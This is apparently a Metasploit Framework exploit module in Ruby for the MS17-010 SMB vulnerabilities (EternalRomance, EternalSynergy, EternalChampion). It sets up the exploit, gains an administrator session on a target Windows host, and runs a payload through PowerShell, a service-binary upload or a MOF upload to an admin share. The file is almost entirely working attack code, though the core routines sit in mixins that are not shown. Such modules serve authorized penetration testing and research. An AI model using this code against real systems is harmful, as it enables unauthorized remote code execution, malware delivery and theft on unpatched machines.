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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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# Windows XP systems that are not part of a domain default to treating all
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# network logons as if they were Guest. This prevents SMB relay attacks from
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# gaining administrative access to these systems. This setting can be found
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# under:
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#
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#  Local Security Settings >
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#   Local Policies >
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#    Security Options >
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#     Network Access: Sharing and security model for local accounts
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
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  include Msf::Exploit::Remote::SMB::Client::Psexec
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  include Msf::Exploit::Remote::CheckModule
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  include Msf::Exploit::Powershell
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  include Msf::Exploit::EXE
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  include Msf::Exploit::WbemExec
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  include Msf::Auxiliary::Report
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution',
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      'Description'    => %q{
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        This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
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        primitive. This will then be used to overwrite the connection session information with as an
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        Administrator session. From there, the normal psexec payload code execution is done.
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        Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
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        Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
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        exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
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        named pipe.
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      },
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      'Author'         =>
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        [
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          'sleepya',          # zzz_exploit idea and offsets
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          'zerosum0x0',
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          'Shadow Brokers',
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          'Equation Group'
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        ],
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      'License'        => MSF_LICENSE,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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          'CheckModule' => 'auxiliary/scanner/smb/smb_ms17_010',
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          'WfsDelay' => 10
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        },
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      'References'     =>
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        [
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          [ 'MSB', 'MS17-010' ],
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          [ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests
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          [ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests
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          [ 'CVE', '2017-0147'], # for EternalRomance reference
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          [ 'URL', 'https://github.com/worawit/MS17-010' ],
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          [ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],
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          [ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],
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        ],
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      'Payload'        =>
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        {
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          'Space'        => 3072,
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          'DisableNops'  => true
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        },
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      'Platform'       => 'win',
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      'Arch'           => [ARCH_X86, ARCH_X64],
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      'Targets'        =>
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        [
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          [ 'Automatic', { } ],
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          [ 'PowerShell', { } ],
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          [ 'Native upload', { } ],
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          [ 'MOF upload', { } ]
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2017-03-14',
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      'Notes' =>
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          {
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              'AKA' => [
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                  'ETERNALSYNERGY',
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                  'ETERNALROMANCE',
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                  'ETERNALCHAMPION',
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                  'ETERNALBLUE'      # does not use any CVE from Blue, but Search should show this, it is preferred
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              ]
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          }
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    ))
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    register_options(
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      [
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        OptString.new('SHARE',     [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
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      ])
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    register_advanced_options(
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      [
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        OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
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        OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
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        OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
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        OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
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      ])
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    deregister_options('SMB::ProtocolVersion')
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  end
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  def validate_service_stub_encoder!
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    service_encoder = datastore['SERVICE_STUB_ENCODER']
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    return if service_encoder.nil? || service_encoder.empty?
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    encoder = framework.encoders[service_encoder]
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    if encoder.nil?
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      raise Msf::OptionValidateError.new(
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        {
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          'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"
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        }
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      )
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    end
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  end
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  def exploit
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    validate_service_stub_encoder!
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    begin
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      if datastore['SMBUser'].present?
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        print_status("Authenticating to #{datastore['RHOST']} as user '#{splitname(datastore['SMBUser'])}'...")
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      end
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      eternal_pwn(datastore['RHOST'])
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      smb_pwn()
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    rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
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      print_error("#{e.message}")
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    rescue ::Errno::ECONNRESET,
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           ::Rex::Proto::SMB::Exceptions::LoginError,
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           ::Rex::HostUnreachable,
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           ::Rex::ConnectionTimeout,
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           ::Rex::ConnectionRefused  => e
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      print_error("#{e.class}: #{e.message}")
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    rescue => error
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      print_error(error.class.to_s)
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      print_error(error.message)
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      print_error(error.backtrace.join("\n"))
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    ensure
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      eternal_cleanup()       # restore session
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    end
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  end
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  def smb_pwn
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    service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
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    service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''
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    case target.name
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    when 'Automatic'
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      if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH'])
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        print_status('Selecting PowerShell target')
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        execute_powershell_payload
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      else
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        print_status('Selecting native target')
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        native_upload(datastore['SHARE'], service_filename, service_encoder)
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      end
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    when 'PowerShell'
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      execute_powershell_payload
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    when 'Native upload'
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      native_upload(datastore['SHARE'], service_filename, service_encoder)
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    when 'MOF upload'
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      mof_upload(datastore['SHARE'])
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    end
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    handler
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  end
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end
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